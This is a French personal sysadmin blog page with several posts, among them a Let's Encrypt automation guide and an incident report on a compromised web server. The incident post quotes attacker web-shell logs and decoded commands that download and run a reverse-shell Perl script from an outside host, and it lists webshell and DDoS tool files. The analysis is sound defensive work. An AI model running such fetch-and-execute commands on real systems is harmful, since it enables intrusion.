Jonathan.Michalon.eu

$HOME de Jonathan

24 déc. 2015

Let's Encrypt

Let's Encrypt est une initiative visant à répandre le chiffrement des communications à base de certificat X.509 sur le net, en facilitant son déploiement.

Cette initiative a généré beaucoup de bruit, car comme toujours il y a du bon et du moins bon. Pour simplifier, je dirais que Let's Encrypt permet de générer des certificats (reconnus à peu près partout en utilisation web), valables 90 jours, permettant de définir plusieurs noms DNS (ou même un joker (wildcard)) et ce gratuitement et automatiquement. Plus d'informations sur leur site. Habituellement c'est un processus relativement ennuyeux, souvent payant ou sinon plus limité.

Essais

Au gré des lectures, j'ai vu passer un client non-officiel, et certaines personnes qui me semblaient sensées affirmaient qu'il était encore plus simple et efficace. Par hasard j'ai donc commencé à regarder le README, puis le code, et à tester…

Le README est très explicite, et globalement ça fonctionne effectivement bien. À part quelques détails et un bug (corrigé du coup :)) dans le domaine que j'ai pris comme cobaye, pas de soucis.

Mise en place

Voici comment j'ai mis en place tout cela, guidé par le README du client et un peu de pifomètre. Pour comprendre, vraiment, lisez le README…

Base

cd /usr/local/bin/
wget https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py
chmod +x acme_tiny.py

adduser --system --no-create-home acme

mkdir /etc/ssl/letsencrypt
cd /etc/ssl/letsencrypt

Ici le dossier /etc/ssl/letsencrypt est peut-être pas très malin : vu que certains fichiers vont être amenés à changer automatiquement c'est plutôt à caser dans /var… à améliorer un jour peut-être.

Suite, un peu de crypto (clef privée du compte à sauvegarder !) :

openssl genrsa 4096 > account.key
chown acme account.key
chmod 600 account.key

wget -O intermediate.pem https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem

Edit: passage au certificat X3, voir https://letsencrypt.org/certificates/

Scripts de déploiement

Globalement, pour chaque nouveau domaine :
  1. Créer une clef privée
  2. Générer la requête de signature (CSR)
  3. Préparer le terrain pour les fichiers de vérification du domaine (créer le dossier acme-challenge)

Pour moi ça se concrétise en :

#!/bin/bash

[ $# -eq 2 ] || exit

domain=$1
acmedir=$2

cd /etc/ssl/letsencrypt

openssl genrsa 4096 > $domain.key
chmod 600 $domain.key
openssl req -new -sha256 -key $domain.key -subj "/" -reqexts SAN -config <(cat ./openssl.cnf <(printf "[SAN]\nsubjectAltName=DNS:$domain,DNS:www.$domain")) > $domain.csr

mkdir -p $acmedir/.well-known/acme-challenge/
chown acme $acmedir/.well-known/acme-challenge/

echo "$domain $acmedir/.well-known/acme-challenge/" >> autoupdate

La dernière ligne ajoute une entrée dans un fichier spécial autoupdate, qui permet au script de renouvellement de savoir quels certificats renouveler et dans quel dossier mettre les fichiers de vérification.

Et donc, le script de (re)génération des certificats qui correspond (je l'ai mis dans /etc/cron.monthly/letsencrypt) :

#!/bin/bash

DIR=/etc/ssl/letsencrypt/
TODAY=$(date +%Y%m%d)

cat $DIR/autoupdate | while read -a data; do
  domain=${data[0]}
  acmedir=${data[1]}
  if [ -e $DIR/$domain.pem ] && [[ `date -d "now - $( stat -c "%Y" $DIR/$domain.pem) seconds" +%s` -lt 4320000 ]]; then
    echo "Skipping $domain as too young (less than 50 days)"
    continue
  fi
  if ! [ -d $acmedir ]; then
    mkdir -p $acmedir
    chown acme $acmedir
  fi
  sudo -u acme python /usr/local/bin/acme_tiny.py --account-key $DIR/account.key --csr $DIR/$domain.csr --acme-dir $acmedir > $DIR/$domain.crt-$TODAY
  if [ $? -eq 0 ]; then
    cat $DIR/$domain.crt-$TODAY $DIR/intermediate.pem > $DIR/$domain.pem
    chmod 600 $DIR/$domain.pem
  fi
  chmod 600 $DIR/$domain.crt-$TODAY
done

service apache2 reload

J'évite de générer si le fichier existe et a moins de 50 jours (90 jours de validité, en cron monthly au max donc tous les 31 jours, avec un peu de marge disons 40, donc on arrive bien à 90-40=50).

Le nouveau certificat, je le mets dans un fichier plus ou moins "versionné", avec la date dans le nom quoi. C'est pour éviter d'écraser le certificat précédent en cas de mauvaise manipulation (qui m'est arrivé pendant l'écriture du script) ou pour réparer rapidement au cas où une génération se passerait mal, en repartant sur le précédent.

Voila, pour l'instant j'ai 4 sites qui sont passés du snakeoil du paquet ssl-cert à un vrai certificat reconnu comme cela. Le dernier a été "TLSifié" en 3 minutes 30, ça va ! On verra maintenant au moment du renouvellement… ne pas oublier d'ajouter une vérification à son monitoring (auto-pub : picomon par exemple) si on tient à son site en TLS.

EDIT:

  • Dans le script, passage de l'opérateur < à -lt car « Lorsqu'ils sont utilisés avec [[, les opérateurs < et > ordonnent d'un point de vue lexicographique en utilisant les paramètres linguistiques régionaux actuels. ». Ceci faisant donc une exception à l'évaluation arithmétique…
  • Ajout de la création du dossier acmedir s'il n'existe plus (il peut avoir été écrasé comme par exemple avec make ssh_upload de Pelican qui fait un rsync avec l'option --delete).

29 nov. 2015

Activité suspecte sur mon serveur

L'autre jour, on me signale que mon serveur autohébergé ventile à fond et qu'une vingtaine de processus bizarres « fuckyou » tournent…

Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le problème se manifeste. J'ai donc tenté d'analyser la situation.

27530 www-data  20   0   65588  14992   2960 S  33,9  0,4  94:21.25 fuckyou
 7813 www-data  20   0   81840  21996   2680 R  28,3  0,6  18:43.69 fuckyou
 9100 www-data  20   0   65588  16836   3056 R  28,3  0,5  18:07.07 fuckyou
18127 www-data  20   0   82184  22252   2680 R  28,3  0,6   0:50.64 fuckyou
20030 www-data  20   0   65588  15496   3056 R  28,3  0,4 100:20.62 fuckyou
28898 www-data  20   0   81840  21996   2680 R  28,3  0,6  44:27.26 fuckyou
30245 www-data  20   0   81856  21496   2588 S  28,3  0,6  42:41.14 fuckyou
  761 www-data  20   0   65588  15684   3136 S  22,6  0,4  33:19.00 fuckyou
 3579 www-data  20   0   81972  22644   2944 R  22,6  0,6  26:36.35 fuckyou
 6680 www-data  20   0   81856  21496   2588 R  22,6  0,6  19:23.37 fuckyou
16931 www-data  20   0   81972  22644   2944 R  17,0  0,6   1:08.35 fuckyou

Ne sachant pas d'où venait ce processus, et n'en trouvant évidemment pas s'appellant « fuckyou » dans les dossiers web, j'ai été voir dans /proc/<pid> :

lrwxrwxrwx 1 www-data www-data 0 nov.  25 11:07 cwd -> /tmp
lrwxrwxrwx 1 www-data www-data 0 nov.  25 11:04 exe -> /usr/bin/perl

OK, du perl. Voyons si on en trouve… (gros coup de rgrep sur /var/www)… oui ! D'ailleurs tout le dossier est "amusant" :

$ ll gitlist/cache/
-rw-r--r--  1 www-data www-data 184021 juil.  9  2014 alo.php
drwxr-xr-x  5 www-data www-data   4096 oct.  30  2014 archives
-rw-r--r--  1 www-data www-data  99552 déc.  13  2013 b374k-2.8.php
-rwxr-xr-x  1 www-data www-data   1446 juil.  1  2014 b374k_rs.py
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.php
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt.1
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt.2
-rw-r--r--  1 www-data www-data   1168 juil.  1  2014 hitit.pl
drwxr-xr-x  2 www-data www-data   4096 juil.  1  2014 hit.pl
-rw-r--r--  1 www-data www-data   1848 juil.  1  2014 hity.py
-rw-r--r--  1 www-data www-data   2585 juil.  9  2014 palse.php
drwxr-xr-x  2 www-data www-data   4096 juil.  1  2014 pyddos.py
-rw-r--r--  1 www-data www-data   1848 juil.  1  2014 SersZQbI.txt
drwxr-xr-x 18 www-data www-data   4096 juil.  3  2014 views
-rw-r--r--  1 www-data www-data     26 juil.  9  2014 x.php

Seulement, problème : rien dans les logs du vhost servant le gitlist. Je l'avais désactivé il y a un moment, car il ne servait plus vraiment, n'était jamais mis à jour etc.

En analysant les fichiers (des utilitaires de DDOS principalement, mais il y a aussi un petit script de prise en main à distance), j'ai remarqué qu'ils aimaient bien cacher le code dans du base64. C'est pratique, le base64, car c'est un codage supporté un peu partout, et qui évite justement que le code soit trop facilement lisible. Par contre un programme obfusqué ainsi est très facile à exécuter, il suffit de faire quelque chose comme eval(base64_decode()). Donc j'ai refait une recherche, sur base64_decode ce coup-ci.

La recherche m'a mené tout droit au webdav d'ARN, le dépôt de documents de l'asso :

-rw-r--r-- 1 www-data www-data  169015 nov.  27  2014 asd.exe
-rw-r--r-- 1 www-data www-data  188728 nov.  23 05:55 log.php
drwxr-xr-x 4 www-data www-data    4096 nov.  27  2014 Panel
-rw-r--r-- 1 www-data www-data 2297381 nov.  27  2014 Panel.tar.gz

Ce sont une sorte de shell en PHP, permettant de lancer des commandes, ou diverses actions préconfigurées (comme un reverse shell, qui se connecte de lui-même à l'attaquant ; un exemple (obfusqué) est visible dans log.php). Et là au moins il y a des traces dans les logs du serveur web ! Entre autres :

[25/Nov/2015:07:58:33 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Fwww%2Fdav%2Farn%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Flog.txt%3B+mv+log.txt+log.php&cmd_txt=1&submit=Execute HTTP/1.1" 200

[25/Nov/2015:08:40:46 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:53 +0100] "GET /asd.php?act=ls&d=%2Fvar%2Ftmp&sort=0a HTTP/1.1" 200
[25/Nov/2015:08:41:09 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl%3B+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200

[25/Nov/2015:08:42:38 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+ref.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:47 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200

Correspondant à :

wget blackops.unixssh.com/My_Log/log.txt; mv log.txt log.php

wget blackops.unixssh.com/My_Log/rev.pl perl rev.pl; rm -rf rev.pl
ls /var/tmp
wget blackops.unixssh.com/My_Log/rev.pl; perl rev.pl; rm -rf rev.pl

rm -rv ref.pl
rm -rv rev.pl

On voit ici pas mal de typos (3 je pense) ; il devait être pressé, peut-être plein de sessions en parallèle à gérer ?

Je n'ai pas réussi à trouver dans les logs quand le fichier asd.php est apparu ; il était déjà là il y a un an (le plus vieux que j'ai en logs, ils sont effacés après). Par contre, le serveur renvoyait un 403 jusqu'à samedi dernier, jour où j'ai fait ma migration à Debian Jessie. J'ai dû activer PHP sur ce vhost alors qu'avant il devait être désactivé (je suis passé de FCGId à FPM pour la gestion PHP dans la foulée).

Ce que j'ai fait

J'aurais peut-être dû réinstaller tout, mais c'est un tantinet… fastidieux. En pratique : n'est concerné qu'un LXC web, très peu de chances qu'il y ait eu des accès root, problème plus ou moins localisé, scripts DDOS en vue…

  • J'ai changé le mot de passe du webdav, qui était vraiment bien mauvais (court, dans le dictionnaire, c'était un test à la base !).

  • Avec le passage à FPM, on peut configurer des "pool" différents de processus PHP. J'ai donc créé trois pool, pour éviter encore plus les débordements : un pour les sites sous Drupal, un pour les Wordpress et un pour le reste. Il y a donc trois comptes utilisateurs différents (uid UNIX), et j'ai ajusté les permissions en conséquence (un wordpress troué ne pourra donc rien voir d'autre que les wordpress).

  • Au lieu d'activer PHP globalement, je l'active maintenant uniquement dans les vhost qui en ont besoin. J'ai créé une petite macro apache2 pour faciliter le choix du pool :

    <Macro GetPHP ${pool}>
    <FilesMatch "\.php$">
      SetHandler "proxy:unix:///var/run/php5-fpm-${pool}.sock|fcgi://"
    </FilesMatch>
    </Macro>
    

    ce qui donne à l'usage, dans un vhost :

    Use GetPHP nom-pool
    

Bonus

Voici un tar de tout le matériel que j'ai récupéré, si vous voulez analyser le problème avant qu'il ne vous arrive :

  • Les fichiers anormaux du cache du gitlist ;

  • Ce que j'ai retrouvé dans le /tmp (un des scripts est prévu pour chercher une archive ZIP, apparemment pour utiliser une faille d'un plugin Wordpress, revslider).

    Le ZIP a été téléchargé 3 fois, car le script utilise 3 méthodes au cas où (wget, curl et un autre). J'en mets un seul dans le tar.

  • Les parties intéressantes du log apache, réduites aux infos importantes.

  • Le fichier rev.pl mentionné dans les commandes plus haut, que j'ai téléchargé moi-même par la suite.

Par ici !

28 nov. 2015

Passage à Pelican

Depuis le temps que je me disais qu'il fallait que je passe à un moteur de site statique (je n'ai absolument pas besoin personnellement d'interface web pour écrire des articles), voila, c'est fait.

À la base j'ai juste voulu écrire un article, plus long qu'un simple lien sur le Shaarli. Mais comment dire ? Rien qu'à l'idée de devoir se loguer sur le Drupal, se ballader dans l'interface pour ajouter un article etc. l'effet dissuasif avait sévit. J'en ai donc profité pour regarder -- vite fait bien sûr -- s'il n'y avait pas par hasard un thème Pelican qui m'aurait convenu. Puis j'ai testé. Au final, j'ai commencé à vouloir reprendre tout ce qu'il y avait sur le Drupal.

Moins de 24h plus tard, voila, j'ai poussé un site avec un contenu à peu près semblable à la place du site en Drupal.

Mise en place

Site de base

J'ai commencé, comme suggéré partout, par la commande quickstart.

$ pelican-quickstart

J'ai ensuite importé les articles, avec la commande import.

$ pelican-import --strip-raw --feed http://jonathan.michalon.eu/fr/blog.xml -o content

N'ayant évidemment récupéré que 10 articles, j'ai dû aller bidouiller dans les paramètres du module views de Drupal pour qu'il publie tous les articles dans le flux, puis relancé l'import.

Quelques petits ajustements étaient de mise, sinon compilation pas contente.

$ for file in content/*; do sed -i 's/^| //;s/brush://' $file; done

Grosso modo, l'import est raisonnable, y compris gras/italique/images. Le formattage des champs de syntaxhighlighter avaient perdu les sauts de lignes, donc il a fallu les rajouter à la main. J'ai aussi repris les images pour les inclure au site (l'import les ajoute bien, mais avec un lien).

On fera, à chaque essai, un make html, qui génèrera les fichiers HTML de notre site. Un mini serveur web python peut servir de test pour le dev en local, lancé par make serve, bien pratique. À savoir que, quand on fera make publish (automatiquement fait par un make rsync_upload par exemple), un fichier de configuration supplémentaire, publishconf.py sera ajouté et permettra de définir des paramètres "de prod".

Thème

J'ai ensuite passé un bon moment à tester quelques thèmes, en suivant les étapes documentées ici (principalement l'utilisation des git submodules), pour au final rester sur celui qui m'avait paru le plus simple, le thème actuel. Il a quand même fallu que je modifie des portions directement dedans, pour la traduction, la pagination, le CSS…

Structure

J'ai passé un temps certain sur la structure du site, pourtant extrêmement simple. Mais il y a pas mal de variantes, et le temps de comprendre ce qu'il se passe est souvent long…

Le "menu" en haut à droit est composé de 4 parties : le lien "home", que j'ai ici désactivé ; les fichiers de type "page" (liés par défaut) ; des pages générées de structure (comme la page archives) et enfin des entrées manuelles. Le blog est une entrée manuelle car je ne souhaitais pas l'avoir en page d'accueil. Le Shaarli est externe, donc manuel. Les deux pages "À propos" et "Ressources" sont automatiques.

Pour obtenir une page d'accueil, avec ce thème, il faut apparemment déplacer le blog et poser une autre page en index.html, via la métadonnée save_as de la page.

Les directives (dépendantes du thème) utilisées ici sont :

MENUITEMS = (
  ('Blog', '/blog_index.html', 'Microblogging'),
  ('Shaarli', 'http://jonathan.michalon.eu/shaarli', 'Microblogging'),
)

ARCHIVES_URL       = 'archives'
ARCHIVES_SAVE_AS   = 'archives/index.html'

MENU_INTERNAL_PAGES = (
    ('Archives', ARCHIVES_URL, ARCHIVES_SAVE_AS),
)

INDEX_SAVE_AS = 'blog_index.html'
DISPLAY_HOME = None

INDEX_SAVE_AS impose au template "index" d'écrire un fichier "blog_index.html", lui-même décliné par la pagination en "blog_indexN.html".

Vérifications

Bien entendu, une étape de vérification complète est nécessaire, pour retrouver les problèmes restants. L'opération est grandement facilitée, car on peut enfin taper à grand coup de grep dans le texte !

Enjoy !

Il me reste à finaliser et nettoyer, mettre tout ça sous git. Et bien sûr, écrire des articles beaucoup plus simplement, dans mon éditeur de texte favori, déployés grâce à un Makefile, sauvegardés facilement et par un bête git push et ne nécessitant ni PHP ni base de données ! :)

Pour l'anectote, j'ai voulu passer les noms de la page des applications Android de simple emphase (italique) à emphase prononcée (gras). Un coup de sed et hop ! :

$ sed -i -E 's/\*  \*(.*)\*/\*  \*\*\1\*\*/' content/pages/android.md

À noter que la page android.md la seule page en Markdown que j'ai pour l'instant, car on peut imposer des sauts de lignes sans changer de paragraphe tout simplement avec deux espaces en fin de ligne. Apparemment c'est pas prévu en reStructuredText.

Pour couronner le tout, ceci est apparemment mon 42e article ici…

Done: Processed 42 article(s), 0 draft(s) and 2 page(s) in 1.22 seconds.

Documentation

Liens pour la doc de Pelican 3.4.0, celui de Debian Jessie.

23 avril 2015

Folie ou raison ? Je vais jeter mes sous par la fenêtre. Enfin non, beaucoup mieux !

J'ai 24 ans, et je vais mettre 20000€ dans une asso d'une vingtaine de membres. Comment est-ce possible ? Pourquoi ?

C'est pas très compliqué : je bosse dans un labo depuis 2 ans, et je ne dépense vraiment rien. C'est un peu un choix, surtout un état d'esprit ; pour la moindre dépense, je regarde à deux fois avant de la faire, et souvent ça finit en « boff au final j'y gagne pas grand chose, autant garder ça pour plus tard, quelque chose de plus cher/important/intéressant ». Et j'aime bien récupérer, rénover, réparer, je trouve ça intéressant et beaucoup plus satisfaisant que d'acheter du neuf ou du tout fait (dans la limite du raisonnable, des fois c'est quand même trop contraignant…).

Je gagne 1600€ net par mois (c'est pas énorme par rapport à mon "niveau d'études" comme on dit, ok, mais c'est déjà pas si mal, et j'ai en échange un boulot tranquille et qui me laisse pas mal de temps). Je ne dépense rien, mais vraiment rien. Pas de loyer (je vis chez mes parents), pas de bouffe (on va pas commencer à pinailler là-dessus, surtout que ça se passait quand j'étais enfant/étudiant). 240€ de tram par an de déplacement. Faites le calcul : 1600×24 = 38400€. Ok, y'a les impôts, des trucs comme ça. Mais 20000€, ça passe.

Je pourrais garder ça pour acheter une maison, une voiture, me payer une fête de mariage (oui, 20000€, c'est ce qu'a dépensé le couple de quelqu'un de ma promo de master pour ça !). Mais non, je préfère construire quelque chose d'insolite, et qui en plus va profiter à toute l'asso, et aux valeurs que nous y défendons.

J'ai donc décidé de donner un grand coup de pouce à l'asso ARN (Alsace Réseau Neutre), dans laquelle je m'investis depuis le tout début, il y a à peu près 3 ans. Pour l'instant nous n'avons quasi rien, il faut que ça change. C'est exactement le genre de projet auquel je pense quand je dis que je garde mes sous pour « quelque chose de plus cher/important/intéressant ». C'est l'occasion de faire quelque chose à fond et en grand, autant pour moi que pour l'asso.

Pourquoi ARN ? Parce que c'est ce qui m'intéresse (l'informatique et la promotion du libre), parce que ça fait 3 ans qu'on attend, et parce que c'est dans la continuité de mon évolution informatique : bidouillage occasionnel au labo de mon père, simple PC à la maison, raccordement à internet, serveur perso à la maison. Monter une infra en datacenter, avec baie dédiée et plusieurs transitaires c'est une sorte de level-up, le pied pour un l'adminsys libriste : être root sur tout, d'un bout à l'autre, autant sur le logiciel que sur le matériel. Actuellement on "squatte" une infrastructure limitée, co-gérée avec une asso similaire lorraine. On a donc déjà testé et mis en production la plupart des éléments techniques et administratifs pour mener ce projet à bien ; je sais donc que ça devrait marcher sans trop de problèmes, il n'y a pas de gros risque.

Du coup, go ! Que l'aventure commence.

02 nov. 2014

La fibre, c'est pour aujourd'hui !

On parle beaucoup de la fibre, il se passe parfois des choses, souvent rien… toujours est-il qu'habiter dans un quartier d'immeubles de grande hauteur ça peut avoir un intérêt : la fibre (via Orange) est disponible dans mon immeuble depuis peu !

Il faut avouer que passer d'une ligne ADSL Orange découverte (8/1 mbps) à la fibre (forfait minimum, limite à 100/50 mbps) ça change pas mal de choses. Il devient réaliste d'utiliser le débit montant (les 50 mbps) sur mon serveur !

Comme pour l'ADSL, et c'est bien pratique, on peut supprimer la "box" fournie (la fameuse "livebox"). Sur l'ADSL il suffit d'avoir un modem ADSL, et de paramétrer la session PPPoE. Sur la fibre c'est assez similaire, sauf que c'est Orange qui fournit le "modem" (c'est un ONT (Optical Network Terminaison) sur de la fibre en GPON). Dans les deux cas il y a un raccordement ethernet RJ45 et on peut tout gérer sur un routeur perso (boîtier, PC normal, …). La seule différence c'est que sur la fibre les flux (oui y'a le net, mais aussi des trucs barbares comme la télé ou le téléphone) sont séparés et nous arrivent dans des VLAN. Pour la partie Internet, il faut utiliser le VLAN 835.

J'ai un peu (beaucoup) galéré pour arriver à faire fonctionner cette fibre sur mon routeur, qui tourne sous Tomato. Pas moyen de taguer au-dessus de 15 depuis l'interface web, et bien que vconfig fonctionne pour 835, aucun paquet n'arrivait vraiment sur l'interface. A priori c'est parce qu'il faut gérer une configuration matérielle derrière, directement sur le port, comme quand on active le mode trunk puis assigne un VLAN à un port sur du matériel configurable. En cherchant autour de ça, j'ai vu que chez certains utilisateurs il y avait tout ce qu'il me fallait dans l'interface web de Tomato. J'ai donc juste eu à mettre à jour le firmware et hop ! Deux clics, changement des login/mdp et c'était bon. Tout simple, quoi.

Bref depuis quelque chose comme deux heures, la fibre a débarqué chez moi, et mon serveur va enfin pouvoir vraiment être une partie d'Internet, sans cette limite de 100 ko/s qui m'a bien gêné depuis septembre 2010 (début du serveur) et même avant !

EDIT: livebox rendue hier sans soucis, le type n'a pas eu l'air surpris et a été étonné que je m'assure qu'il n'allait pas résilier l'abonnement du même coup.

24 oct. 2014

Nettoyage d'automne

J'ai un peu mis au propre le chantier drupalesque que j'avais : encore du drupal6, en parallèle à du drupal7 (paquets Debian). Donc mises à jour, déplacement de bazard etc.

Ça s'est passé, mais c'est pas non plus super simple, beaucoup de choses ont évolué, donc il faut tout vérifier, et il y a des parties à reconfigurer, J'ai suivi le howto du wiki Debian, c'est une bonne base, et après au cas par cas, retrouver les modules, adapter aux nouvelles versions. C'est pas encore tout à fait propre non plus.

Du coup le /pages/ qui trainait avec un redirect permanent a pu dégager, et j'ai déplacé ce blog correctement (il était sur le premier site générique, pas sur jonathan. depuis le début (et donc repris avec un gros hack), voir un post précédent…). Le flux RSS doit être cassé aussi en passant, mais pour ce que je devais avoir comme lecteurs ça devrait aller.

Bref une aprème + soirée et une matinée rien que pour ça, il me reste du pain sur la planche pour finir de ranger ce serveur… je pense surtout aux différents conteneurs OpenVZ qui trainent et qui servent à rien, et au fait que je suis toujours sur Debian oldstable (à cause de OpenVZ justement).

08 mai 2014

Fin de chalmion.homelinux.net

Hé oui, chalmion.homelinux.net c'est fini. J'ai dû créer ce nom de domaine gratuitement chez DynDNS du côté de 2007, et commencer à bidouiller pas mal avec plus tard quand j'ai eu un serveur permanent chez moi. Mais depuis un moment DynDNS (maintenant dyn.com) poussait à l'achat de la version payante de leur service. J'ai donc lentement migré sur ma zone perso que j'avais réservé entretemps car ça sentait un peu mauvais. Et puis évidemment le moment est venu où ils ont voulu virer tous les comptes gratuits. La deadline était hier. C'est chose faite.

À noter qu'ils se sont bien amusés : ils ont mis une IP à eux dans la zone et affiché une page qui disait que « blabla c'était dommage mais ça marchait plus blabla payer blabla on a des bonnes raisons de vous avoir viré blabla » donc en gros tout le trafic qui aurait dû arriver chez moi qui aurait encore pu exister (j'ai bien dû oublier quelques endroits avec chalmion) allait arriver chez eux…

$ host chalmion.homelinux.netchalmion.homelinux.net has address 23.92.23.71

 J'ai donc suivi le lien qu'ils me donnaient dans les mails me signifiant leur décision de fermer les comptes gratuits et supprimé mon compte. La zone a bien été détruite, donc plus de soucis (sauf si quelqu'un paye pour reprendre le même nom…).

$ host chalmion.homelinux.netHost chalmion.homelinux.net not found: 3(NXDOMAIN)

Ils ont vraiment pas envie qu'on se barre : après avoir dû cocher deux cases sur la page pour dire que oui je sais que c'est irréversible et oui je veux vraiment, y'a encore une popup js qui dit « Last confirmation. Are you really really sure?! Please do not do that if you unsure, ask support at dyn.com! ». Et sur la page suivante, on a quelque chose de bien mignon : « Your account has been successfully closed. Your hostnames have been returned to the available pool, and any domain(s) will be removed from our DNS servers within 2 hours. We are sorry that you did not feel that our services met your needs, and would like your suggestions for improvements. Feel free to email info at dyn.com with any constructive comments or suggestions you may have. » ! Si c'est pas tout gentil, ça ! :)

Bref c'est la fin de l'ère chalmion, mon premier ndd (même s'il ne m'était pas vraiment attribué comme on le voit ici), celui avec lequel j'ai commencé à me connecter de l'extérieur chez moi, où j'ai appris à gérer un serveur @home, etc.

11 mars 2014

Proposition de loi abandonnée !

Ha bin voila, un jour avec un vraie bonne nouvelle : la proposition de loi pour interdire l'instruction en famille (voir posts précédents) a été rejetée.

Déjà deux cosignataires s'étaient désistés, mais ce matin, jour de la première lecture du texte, l'auteur a préféré « arrêter les conneries et les bêtises et redevenir sérieux » (oui la référence n'est pas vraiment bonne mais tellement bien a-propos…).

Donc voila, nous pouvons encore bénéficier, par choix ou par nécessité, d'une liberté qui semble bien dérangeante pour nos dirigeants mais réellement importante à mon sens.

Ici la réaction de celui qui m'a le plus incité à envoyer un mail aux sénateurs et députés : http://shaarli.guiguishow.info/?QGLM4Q … et il a même écrit une chronologie détaillée, ça m'évitera de le faire ! :)

Personnellement je retiendrai trois choses principales :

  • Se bouger et se faire entendre des politiques, au final, c'est pas tellement difficile grâce aux mails. Bien sûr ils ne les lisent pas vraiment, mais j'ose croire à un effet de masse, et que certains textes ont tout de même été parcourus.
  • Le grand n'importe-quoi du côté des sénateurs est bien réel, et même pire que je ne l'imaginais car les "réponses" (oui entre guillements par ce n'en était pas toujours vraiment) étaient affligeantes et totalement indignes de leurs fonctions.
  • Il y a néanmoins un côté rassurant, c'est que les gens se sont mobilisés, ont écrit des messages bien tournés et très sensés aux élus. De quoi redonner un peu foi en l'humanité.

26 janv. 2014

Faire « de la politique » ?

Au final cette proposition de loi pour interdire l'instruction en famille (voir post précédent) m'a tellement inquiété que j'ai cédé et « fait de la politique ». En diffusant l'info, j'ai déclenché un processus un peu particulier ; faire « rager » quelqu'un qui, bien qu'ayant été scolarisé, s'est fâché tout rouge en apprendant cela. Ne croyant pas à la pétition en ligne, il a décrété que la seule chose à faire était d'écrire directement aux députés de nos circonscriptions et aux sénateurs responsables. Après tout c'est le boulot des députés de lire nos doléances. Il a immédiatement commencé à rédiger une lettre d'engueulade (enfin en version presque gentille…) et donc j'ai juste eu à suivre le mouvement. Cette après-midi après moult discussions et de nombreuses modifications à plusieurs sur un etherpad, nous avons fini par stabiliser une version du texte et nous l'avons l'envoyée, avec 6 signataires pour les sénateurs et chacun à nos députés respectifs.

Bref, j'ai fait de la politique… on m'aurait dit il y a deux jours que j'allais écrire aux députés et aux sénateurs, je n'y aurais absolument pas cru !

25 janv. 2014

Hop ! Une liberté de moins…

… et ce qui devait arriver arriva : non content d'obliger la grande majorité des gens à rentrer dans le moule de l'Éducation Nationale, le gouvernement vise maintenant les quelques-uns qui s'efforçaient d'y échapper. En effet, un projet de loi proposant la quasi-suppression de l'instruction en famille (IEF) est actuellement étudié. http://www.senat.fr/leg/ppl13-245.html

Il fallait s'y attendre mais vu la tournure des non-événements du gouvernement actuel je n'y pensais même plus. En effet, déjà à l'époque de la "bataille" Ségolène-Sarko j'avais retenu deux choses (le reste se noyant dans la masse de bullshit balancée des deux côtés) du clan pseudo-socialiste : la solution à tous les problèmes gênants c'était de faire un moratoire puis créer une commission qui réfléchirait un jour peut-être, et le summum de l'éducation c'était de mettre tous les gosses dans le moule à la crèche dès deux ans, histoire de bien les faire intégrer le dogme politiquement correct dès le plus jeune âge. Ça m'avait vraiment frappé, vu que je m'en souviens encore… et voila qu'on y arrive aujourd'hui.

Si cette liberté disparait c'est un pan entier de mon enfance qui est balayé, puisque j'ai bénéficié de cette instruction jusqu'au bac. Et quoi qu'on en dise je ne pense pas être traumatisé plus qu'un autre, ni même tellement plus associal que les adultes scolarisés. Par contre, les avantages sont tellement nombreux ! Que de temps gagné ainsi, qui a rendu de nombreuses escapades possibles, le loisir de réaliser plein de projets divers, et enfin me laissa apprendre l'informatique en autodidacte tranquillement pour passer ensuite les cinq années de fac les doigts dans le nez et commencer à travailler à 23 ans. Lorsque la famille est capable de gérer l'IEF, c'est vraiment une enfance beaucoup plus enrichissante à mon sens.

Enfin bon, liberté, égalité, fraternité qu'y disaient !

Suivante → Page 1 sur 5

Blue Penguin Theme · Powered by Pelican · Atom Feed · Rss Feed

Copyright © 2011-2015 Jonathan Michalon. Vous pouvez réutiliser tout contenu diffusé, sauf mention spécifique.